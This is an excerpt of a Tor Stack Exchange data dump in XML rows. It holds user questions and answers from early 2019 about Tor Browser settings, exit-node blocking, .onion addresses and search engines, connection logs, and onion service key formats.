  <row Id="19283" PostTypeId="2" ParentId="19280" CreationDate="2019-01-21T13:42:51.970" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;NO!&lt;/strong&gt;&lt;br&gt;&#xA;Tor hides your IP address and this addon does not.&lt;/li&gt;&#xA;&lt;li&gt;do &lt;strong&gt;NOT&lt;/strong&gt; change (especially install additional) addons in Tor Browser!&lt;br&gt;&#xA;&lt;a href=&quot;https://tor.stackexchange.com/q/8832/5234&quot;&gt;Can I install Firefox addons on Tor Browser?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5234" LastActivityDate="2019-01-21T13:42:51.970" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19284" PostTypeId="1" CreationDate="2019-01-21T16:35:21.237" Score="-1" ViewCount="390" Body="&lt;p&gt;i wanted to run some traffic to a bunch of  websites, from &lt;strong&gt;tor browser.&lt;/strong&gt; &#xA;i wanna know exactly if the websites owners well detect i'am running traffic from tor, by detecting tor exit nodes. &#xA;what software they will use to detect tor exit nodes? and would it happen frequently, like would all the websites i'am visiting, would detect tor exit nodes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="25071" LastActivityDate="2021-02-11T00:02:05.267" Title="THE TOR BROWSER AND PUBLIC EXIT NODES" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19285" PostTypeId="1" CreationDate="2019-01-21T18:12:06.147" Score="0" ViewCount="857" Body="&lt;p&gt;My IP address has been &quot;blacklisted&quot; after using TOR for only a day. I am not using it for anything scandalous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get my IP address cleared?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message I see when I try to search for something:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Access denied. Your IP address is blacklisted. If you feel this is in error please contact your hosting provider's abuse department.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am blacklisted when I try to use TOR only. I will try to contact my ISP and ask them to remove the ban. It seems unfair for them to ban TOR. It is my private business which Internet browser I use... isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me what I need to do.&lt;/p&gt;&#xA;" OwnerUserId="25072" LastEditorUserId="22539" LastEditDate="2019-02-11T02:50:16.190" LastActivityDate="2019-02-18T14:43:18.650" Title="IP blocked the day after using for first time" Tags="|ip-address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19286" PostTypeId="1" CreationDate="2019-01-21T22:47:13.727" Score="0" ViewCount="205" Body="&lt;p&gt;Is it normal that the site security information always shows &quot;Connection Is Not Secure&quot; on all websites even when the web address shows https.The website identity always shows &quot;This website does not supply ownership information.&quot; and verified by as&quot; Not Specified&quot;.Is it default that the Technical details always shows&quot;Connection not Encrypted&quot;??&lt;/p&gt;&#xA;" OwnerUserId="25074" LastActivityDate="2022-02-06T00:06:40.790" Title="Why site security information shows &quot;Connection Is Not Secure&quot;,eventhouth web address show HTTPS?" Tags="|encryption|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19287" PostTypeId="2" ParentId="19286" CreationDate="2019-01-22T18:17:24.437" Score="0" Body="&lt;p&gt;I think it is because website uses self-signed certificate, only if you buy certificate from well known companies, web browsers will see your certificate as secure. &lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2019-01-22T18:17:24.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19288" PostTypeId="2" ParentId="19285" CreationDate="2019-01-22T18:24:39.423" Score="1" Body="&lt;p&gt;are you blacklisted when you use ordinary internet or when you use tor?&#xA;I think your ISP blacklisted you, so, you must ask them to remove ban. if some website blacklisted you, their server admin has network software that blacklisted you. some websites/forums recognize tor and block your IP address. it is their server admin who does it. he will not remove ban, he will stop you to use tor to visit site/forum. &lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2019-01-22T18:24:39.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19289" PostTypeId="2" ParentId="19284" CreationDate="2019-01-22T18:26:47.507" Score="0" Body="&lt;p&gt;some server admins have network intrusion and network detection software that includes in itself blocking all tor IP addresses. I forgot the name, but something like suricata and all additional protection of servers. &lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2019-01-22T18:26:47.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19294" PostTypeId="1" CreationDate="2019-01-23T00:26:39.463" Score="0" ViewCount="789" Body="&lt;p&gt;I just started using the Tor Browser and Orbot on my smartphone and would like to find out what I can do with it. Is there a lot of different Legal and Illegal services? &lt;/p&gt;&#xA;" OwnerUserId="25081" LastActivityDate="2020-03-03T05:03:10.390" Title="What are all the suffixes for websites exclusive to Tor, or at least should be opened only on Tor, and how do I find more?" Tags="|onion-services|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19296" PostTypeId="2" ParentId="19294" CreationDate="2019-01-23T11:18:40.080" Score="0" Body="&lt;p&gt;domains finishing with &quot;.onion&quot; can be visited with Tor software, for example blabla223344.onion means you can visit this website with Tor software. well, you can visit website of wikileaks or theintercept and they have URL for visiting their websites with Tor software, but you can also use ahmia.fi - a search engine, the same as Torch. for example, I just visited wikileaks and they say wlupld3ptjvsgwqw.onion is their website behind the tor network, when I tried ahmia.fi the first link was the same wlupld3ptjvsgwqw.onion &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to find list of darknet markets, you can visit deepdotweb.com website, but I would recommend you always to use tor to visit it or some public PC in the library, don't use your home computer because many websites can be honeypot, they record your IP address and collect information who uses deepweb and bitcoins. I think some websites will not let you to visit it if you use tor, maybe even deepdotweb will refuse you if it is behind cloudflare and similar. they force you to use javascript, etc. and don't forget that many websites are published before 5 years and now they are dead, not working any more. you can find many sites publishing list of onion domains, but when you try to visit these websites, it is not working, because it is dead. &lt;/p&gt;&#xA;" OwnerUserId="25085" LastActivityDate="2019-01-23T11:18:40.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19298" PostTypeId="2" ParentId="19253" CreationDate="2019-01-23T11:38:34.697" Score="0" Body="&lt;p&gt;you didn't tell us what you use to send emails? webmail or some local software? webmail roundcube will ask you for javascript, squirrelmail will not ask you for javascript. android orfox and orbot are not &quot;guilty&quot; if your mail provider demands javascript. if you use gmail, you can switch to old html version. but I didn't try it long time, I think it is possible. if you use any local software on Android to send emails, we need to know which one. &lt;/p&gt;&#xA;" OwnerUserId="25085" LastActivityDate="2019-01-23T11:38:34.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19300" PostTypeId="2" ParentId="19243" CreationDate="2019-01-23T11:45:22.620" Score="1" Body="&lt;p&gt;what you want to install &quot;everything&quot;? man, you didn't give us any information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to the library or university, don't use your home computer, download whonix or cubeos, install it on your laptop/pc and learn how to use it. they have forums for their OS. of course, you can first install tor to download whonix but it will be very slow and very long. it is simplier to visit library or university if you don't need to login to download something.&lt;/p&gt;&#xA;" OwnerUserId="25085" LastActivityDate="2019-01-23T11:45:22.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19302" PostTypeId="2" ParentId="19294" CreationDate="2019-01-23T23:21:48.107" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;.cc&lt;/code&gt; and &lt;code&gt;.info&lt;/code&gt; are completely normal &lt;a href=&quot;https://en.wikipedia.org/wiki/Top-level_domain&quot; rel=&quot;nofollow noreferrer&quot;&gt;TLD&lt;/a&gt;s!&lt;br /&gt;&#xA;to be more precise: &lt;a href=&quot;https://en.wikipedia.org/wiki/.cc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.cc&lt;/code&gt;&lt;/a&gt; is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Country_code_top-level_domain&quot; rel=&quot;nofollow noreferrer&quot;&gt;country code top-level domain&lt;/a&gt; (ccTLD) and &lt;a href=&quot;https://en.wikipedia.org/wiki/.info&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.info&lt;/code&gt;&lt;/a&gt; is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Generic_top-level_domain&quot; rel=&quot;nofollow noreferrer&quot;&gt;generic top-level domain&lt;/a&gt; (gTLD).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;according to &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc7686&quot; rel=&quot;nofollow noreferrer&quot;&gt;RFC 7686&lt;/a&gt; &lt;code&gt;.onion&lt;/code&gt; is reserved and so it can't be registered.&lt;br /&gt;&#xA;only &lt;code&gt;.onion&lt;/code&gt; is reserved in conjunction with Tor, not any other domain!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;.onion&lt;/code&gt;-domains are self-governing resp. self-authenticating because there is no central instance to register a domain, and there is also no &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS&lt;/a&gt;. - thus the &amp;quot;names&amp;quot; are not so easy to remember.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;to resolve an &lt;code&gt;.onion&lt;/code&gt;-domain resp. reach its site and view it, you need a Tor client (as you obviously know).&lt;br /&gt;&#xA;there are also gateways (&lt;a href=&quot;https://www.tor2web.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor2web&lt;/a&gt;) to view &lt;code&gt;.onion&lt;/code&gt;-sites with normal clearnet-browsers, but it is not advised to use them (except you really know what you are doing) because you are still in the clearnet and &lt;strong&gt;not&lt;/strong&gt; anonymous!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in the deepweb you can use normal clearweb search engines, which also provide a hidden service... but hardly any of them will give you hidden services as results.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://duckduckgo.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt;: &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;a bunch of &lt;a href=&quot;https://github.com/asciimoo/searx/wiki/Searx-instances&quot; rel=&quot;nofollow noreferrer&quot;&gt;Searx-instances&lt;/a&gt;: &lt;a href=&quot;http://searxes.qzuep6lk6m4n24vzca65voarzvmwvpk2lew3akmxuzndpjw6hdyjx6ad.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://searxes.qzuep6lk6m4n24vzca65voarzvmwvpk2lew3akmxuzndpjw6hdyjx6ad.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://metager.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MetaGer&lt;/a&gt;: &lt;a href=&quot;http://b7cxf4dkdsko6ah2.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://b7cxf4dkdsko6ah2.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;thats the point where you have to use one of the deepweb search engines which searches the deepweb...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ahmia.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ahmia.fi&lt;/a&gt;: &lt;a href=&quot;http://msydqstlz2kzerdg.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://msydqstlz2kzerdg.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;TORCH: &lt;a href=&quot;http://xmh57jrzrnw6insl.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://xmh57jrzrnw6insl.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;&lt;em&gt;additional:&lt;/em&gt; there are also directory/index-sites in the deepweb and clearnet, which collect useful links to several hidden services:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/The_Hidden_Wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Hidden Wiki&lt;/a&gt;: originally located at &lt;a href=&quot;http://6sxoyfb3h2nvok2d.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://6sxoyfb3h2nvok2d.onion/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hiddenwikitor.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hiddenwikitor.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2019-02-06T20:05:17.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19309" PostTypeId="1" CreationDate="2019-01-26T17:48:53.743" Score="1" ViewCount="72" Body="&lt;p&gt;Assuming there are no mistakes done on your own side, (how) can Tor Browser still fail? Is it really possible you get&#xA;connected to three relays that are in the hands of someone bad? Are there any other things that can fail?&lt;/p&gt;&#xA;" OwnerUserId="25109" LastActivityDate="2019-01-26T17:48:53.743" Title="Despite your own stupidity, how can Tor Browser fail?" Tags="|security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19312" PostTypeId="2" ParentId="4857" CreationDate="2019-01-27T09:11:02.053" Score="1" Body="&lt;p&gt;With torbrowser problems, the first thing you need to do is start up the browser in verbose mode, as OP has done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser.desktop --verbose&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pay attention to the warning messages before the error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, the issue was that the directory was owned by a different user, this was sufficient to stop tor from starting up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error that OP saw, is an error that I see after first installing TOR, killall tor, and then restarting the tor services fixed this for me. Tor was already hogging a socket, yet it wasn't running properly, restarting tor services fixed that.&lt;/p&gt;&#xA;" OwnerUserId="25113" LastActivityDate="2019-01-27T09:11:02.053" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19313" PostTypeId="1" CreationDate="2019-01-27T12:45:44.010" Score="1" ViewCount="51" Body="&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/&lt;/a&gt; told me that I wasn't using Tor. So I checked the IP and it was listed on&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://metrics.torproject.org/rs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://metrics.torproject.org/exonerator.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/exonerator.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://check.torproject.org/exit-addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org/exit-addresses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The relay was active and had an uptime of several weeks. Why would the check give a false negative for a well known relay? Nothing changed when checking again after some waiting.&lt;/p&gt;&#xA;" OwnerUserId="25115" LastActivityDate="2019-02-08T11:06:32.927" Title="False negative for well known relay" Tags="|torcheck|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19315" PostTypeId="1" AcceptedAnswerId="20723" CreationDate="2019-01-27T15:41:23.760" Score="1" ViewCount="448" Body="&lt;p&gt;Using I2P version 0.9.37-0, and after some difficulty I was able to set up Firefox with the settings at the bottom. I noticed that I am able to reach clearnet sites in the same browser, and that hadn't worked before. Should I be concerned about this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed this after trying out &lt;a href=&quot;https://www.reddit.com/r/i2p/comments/ad6omv/introducing_ransacki2p_a_metasearch_engine_on_i2p/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ransack.i2p&lt;/a&gt; and clicking on a clearnet search result. Is it possible that clearnet sites load through i2p?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N2q2K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N2q2K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Sorry for the vague/inaccurate/sloppy description, I still need to get more familiar with the official terms. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="20715" LastEditorUserId="20715" LastEditDate="2019-12-25T01:02:17.310" LastActivityDate="2020-03-06T02:46:02.567" Title="Why am I able to load clearnet sites in Firefox configured for I2P? Should I be concerned regarding privacy?" Tags="|i2p|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19321" PostTypeId="1" CreationDate="2019-01-28T18:23:49.793" Score="0" ViewCount="192" Body="&lt;p&gt;I am getting speeds as low as 56 kbps down to 2kbps. is there any way I can speed this up? thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="25130" LastEditorUserId="88" LastEditDate="2019-03-22T22:52:50.593" LastActivityDate="2019-03-23T16:10:12.063" Title="are there any adjustments I can make to speed this up?" Tags="|tor-browser-bundle|speed|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19322" PostTypeId="1" CreationDate="2019-01-29T02:02:28.940" Score="0" ViewCount="435" Body="&lt;p&gt;When I launch the tor browser a pop up says “ the tor executable is missing” how do I fix to access the web &lt;/p&gt;&#xA;" OwnerUserId="25132" LastActivityDate="2019-02-28T13:02:55.533" Title="When I launch tor browser a pop up says “the tor executable is missing” and won’t let me access tor how do I fix this" Tags="|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19332" PostTypeId="2" ParentId="19322" CreationDate="2019-01-29T12:03:40.470" Score="-1" Body="&lt;p&gt;If it Is linux Os Install through Terminal&#xA;If it is windows make sure that virtualization is turned on in BIOS. Or reinstall.&lt;/p&gt;&#xA;" OwnerUserId="25142" LastActivityDate="2019-01-29T12:03:40.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19336" PostTypeId="2" ParentId="1754" CreationDate="2019-01-30T05:42:16.983" Score="0" Body="&lt;p&gt;Try torpanda.com. They don't require any user information and they're hosted off shore in romania. They work with you on pretty much any payment method you want as long as it works too. I'm not sure what their security looks like, but I'm pretty sure you could ask. It seems to me that even if they did get hacked there's nothing to give you up anyways.&lt;/p&gt;&#xA;" OwnerUserId="25147" LastActivityDate="2019-01-30T05:42:16.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19338" PostTypeId="2" ParentId="19217" CreationDate="2019-01-30T10:38:45.977" Score="3" Body="&lt;p&gt;China government bloked all the other brige like obfs4,fte,but meek just use aws and azure.many china company use these cloud too,if CCP blocked aws and azure,it will bring many problem to make lots of China company can not privide some service for Chinese.So China Government not blocked aws and azure,they want to block tor,but they cant distinguish between these company who use aws or azure and meek bridge&lt;/p&gt;&#xA;" OwnerUserId="25150" LastActivityDate="2019-01-30T10:38:45.977" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19339" PostTypeId="1" CreationDate="2019-01-30T15:01:24.263" Score="0" ViewCount="204" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ndIuP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndIuP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log when i copied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1/30/19, 14:57:17.797 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/30/19, 14:57:17.797 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/30/19, 14:57:17.797 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/30/19, 14:57:17.797 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/30/19, 14:57:17.797 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/30/19, 14:57:21.829 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/30/19, 14:57:38.765 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 10; recommendation warn; host E480D577F58E782A5BC4FA6F49A6650E9389302F at 199.249.223.43:443) &#xA;1/30/19, 14:57:38.765 [WARN] 9 connections have failed: &#xA;1/30/19, 14:57:38.765 [WARN] 6 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;1/30/19, 14:57:38.765 [WARN] 3 connections died in state connect()ing with SSL state (No SSL object) &#xA;1/30/19, 14:57:38.774 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/30/19, 14:57:38.774 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/30/19, 14:57:38.774 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25152" LastEditorUserId="5234" LastEditDate="2019-02-21T22:34:09.907" LastActivityDate="2022-03-08T07:01:45.150" Title="I have this issue and cant log connect to tor" Tags="|error|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19340" PostTypeId="1" AcceptedAnswerId="19341" CreationDate="2019-01-30T15:21:30.470" Score="1" ViewCount="730" Body="&lt;p&gt;I had been using Tor version &lt;code&gt;0.3.2.10&lt;/code&gt; for which the contents of a hidden service directory looked like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;hostname&lt;/code&gt; file ---&gt; ii5wkitdls6khqj7.onion&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;private_key&lt;/code&gt; file ---&gt; content starting with &lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I upgraded to &lt;code&gt;0.4.0.1&lt;/code&gt; and the directory structure and the onion hostname format look very different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;authorized_clients&lt;/code&gt; folder&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;hs_ed25519_public_key&lt;/code&gt; file ---&gt; binary content&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; file ---&gt; binary content&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;hostname&lt;/code&gt; file ---&gt; j6oxzw4jkeo5gafxdrljxh3lu5y67scjuou5o3snljztpriaaxcxi2yd.onion&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Normally this would not bother me too much, however I'm trying to connect two applications to each other, one using the 0.3.2.10 version, the other using the 0.4.0.1 version. I am able to connect from the one based on the newer version to the one based on the older version, but the other way around seems not to be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known incompatibility? From what I can quickly notice it seems like they decided to switch from RSA to EdDSA (more specifically Ed25519), but shouldn't this change be backwards compatible? Also, since I am able to connect from the new Tor to the old one, why shouldn't it work the other way around?&lt;/p&gt;&#xA;" OwnerUserId="25154" LastActivityDate="2019-01-30T21:12:45.763" Title="Onion hostname format changed in Tor v0.4.0.1" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19341" PostTypeId="2" ParentId="19340" CreationDate="2019-01-30T21:12:45.763" Score="1" Body="&lt;p&gt;Apparently tor changed the default for HiddenServiceVersion from 2 in version 0.3 to 3 in version 0.4. Please check man page and use &lt;code&gt;HiddenServiceVersion 2&lt;/code&gt; as necessary to allow access from older tor versions.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-01-30T21:12:45.763" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19343" PostTypeId="2" ParentId="19339" CreationDate="2019-01-31T19:29:33.420" Score="0" Body="&lt;p&gt;This IP address doesn't respond to pings and any connection attempts on TCP port 443. It is either down, firewalled or recommissioned for other purpose (as nmap reports TCP ports 2000 and 5060 as opened and 113 as closed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Request another bridge address and move there.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-01-31T19:29:33.420" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19345" PostTypeId="1" CreationDate="2019-02-01T09:29:24.470" Score="1" ViewCount="38" Body="&lt;p&gt;Does the selection-algorithm weight anything differently in any way, and if so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On what metrics?&lt;/li&gt;&#xA;&lt;li&gt;Why?&lt;/li&gt;&#xA;&lt;li&gt;&amp;amp; what benefit does this bring to the TOR network?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25164" LastActivityDate="2019-02-01T09:29:24.470" Title="How does TOR select which entries, exits and relays to use when creating a circuit?" Tags="|configuration|relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19352" PostTypeId="1" CreationDate="2019-02-03T18:15:44.660" Score="1" ViewCount="1659" Body="&lt;p&gt;I am on raspbian on a raspberry Pi model 2.&#xA;I can't import the keys for the Tor repository. I tried the two following commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg2 --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: keyserver receive failed: No data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gpg --keyserver hkp://pool.sks-keyservers.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: packet(13) too large&#xA;gpg: read_block: read error: Invalid packet&#xA;gpg: no valid OpenPGP data found.&#xA;gpg: Total number processed: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I followed these instructions: &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what is going on here. Any clue ?&lt;/p&gt;&#xA;" OwnerUserId="25183" LastEditorUserId="88" LastEditDate="2019-06-11T20:09:26.020" LastActivityDate="2019-06-11T20:09:26.020" Title="I can't import the Tor gpg debian repository keys" Tags="|tor-install|debian|raspberry-pi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19353" PostTypeId="1" CreationDate="2019-02-03T18:27:19.330" Score="0" ViewCount="923" Body="&lt;pre&gt;&lt;code&gt;2/3/19, 12:27:36.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/3/19, 12:27:36.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/3/19, 12:27:36.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;2/3/19, 12:27:36.657 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;2/3/19, 12:27:36.658 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;2/3/19, 12:27:36.658 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;2/3/19, 12:27:36.661 [NOTICE] Renaming old configuration file to &quot;C:\Users\0119\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;2/3/19, 12:27:37.210 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;2/3/19, 12:27:37.668 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;2/3/19, 12:27:38.250 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;2/3/19, 12:27:38.523 [NOTICE] 